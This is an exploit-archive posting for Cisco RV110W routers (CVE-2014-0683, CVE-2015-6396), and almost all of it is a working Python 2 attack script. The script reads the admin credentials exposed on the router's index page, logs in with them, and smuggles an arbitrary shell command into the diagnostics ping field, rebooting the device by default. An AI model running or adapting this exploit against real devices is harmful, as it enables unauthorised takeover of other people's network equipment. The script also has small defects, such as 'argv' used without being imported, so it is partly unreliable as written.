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Cisco RV110W Password Disclosure / Command Execution

Cisco RV110W Password Disclosure / Command Execution
Posted Dec 14, 2018
Authored by RySh

Cisco RV110W suffers from password disclosure and command execution vulnerabilities.

tags | exploit, vulnerability, info disclosure
systems | cisco
advisories | CVE-2014-0683, CVE-2015-6396
MD5 | eed52ea76fb024c920ddc2cbd7084851

Cisco RV110W Password Disclosure / Command Execution

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#!/usr/bin/env python2

#####
## Cisco RV110W Password Disclosure and OS Command Execute.
### Tested on version: 1.1.0.9 (maybe useable on 1.2.0.9 and later.)

# Exploit Title: Cisco RV110W Password Disclosure and OS Command Execute
# Date: 2018-08
# Exploit Author: RySh
# Vendor Homepage: https://www.cisco.com/
# Version: 1.1.0.9
# Tested on: RV110W 1.1.0.9
# CVE : CVE-2014-0683, CVE-2015-6396

import os
import sys
import re
import urllib
import urllib2
import getopt
import json

import ssl

ssl._create_default_https_context = ssl._create_unverified_context

###
# Usage: ./{script_name} 192.168.1.1 443 "reboot"
###

if __name__ == "__main__":
IP = argv[1]
PORT = argv[2]
CMD = argv[3]

# Get session key, Just access index page.
url = 'https://' + IP + ':' + PORT + '/'
req = urllib2.Request(url)
result = urllib2.urlopen(req)
res = result.read()

# parse 'admin_pwd'! -- Get credits
admin_user = re.search(r'.*(.*admin_name=\")(.*)\"', res).group().split("\"")[1]
admin_pwd = re.search(r'.*(.*admin_pwd=\")(.{32})', res).group()[-32:]
print "Get Cred. Username = " + admin_user + ", PassHash = " + admin_pwd

# Get session_id by POST
req2 = urllib2.Request(url + "login.cgi")
req2.add_header('Origin', url)
req2.add_header('Upgrade-Insecure-Requests', 1)
req2.add_header('Content-Type', 'application/x-www-form-urlencoded')
req2.add_header('User-Agent',
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
req2.add_header('Referer', url)
req2.add_header('Accept-Encoding', 'gzip, deflate')
req2.add_header('Accept-Language', 'en-US,en;q=0.9')
req2.add_header('Cookie', 'SessionID=')
data = {"submit_button": "login",
"submit_type": "",
"gui_action": "",
"wait_time": "0",
"change_action": "",
"enc": "1",
"user": admin_user,
"pwd": admin_pwd,
"sel_lang": "EN"
}
r = urllib2.urlopen(req2, urllib.urlencode(data))
resp = r.read()
login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1]
session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1]

# Execute your commands via diagnose command parameter, default command is `reboot`
req3 = urllib2.Request(url + "apply.cgi;session_id=" + session_id)
req3.add_header('Origin', url)
req3.add_header('Upgrade-Insecure-Requests', 1)
req3.add_header('Content-Type', 'application/x-www-form-urlencoded')
req3.add_header('User-Agent',
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
req3.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
req3.add_header('Referer', url)
req3.add_header('Accept-Encoding', 'gzip, deflate')
req3.add_header('Accept-Language', 'en-US,en;q=0.9')
req3.add_header('Cookie', 'SessionID=')
data_cmd = {"submit_button": "Diagnostics",
"change_action": "gozila_cgi",
"submit_type": "start_ping",
"gui_action": "",
"traceroute_ip": "",
"commit": "1",
"ping_times": "3 |" + CMD + "|",
"ping_size": "64",
"wait_time": "4",
"ping_ip": "127.0.0.1",
"lookup_name": ""
}
r = urllib2.urlopen(req3, urllib.urlencode(data_cmd))


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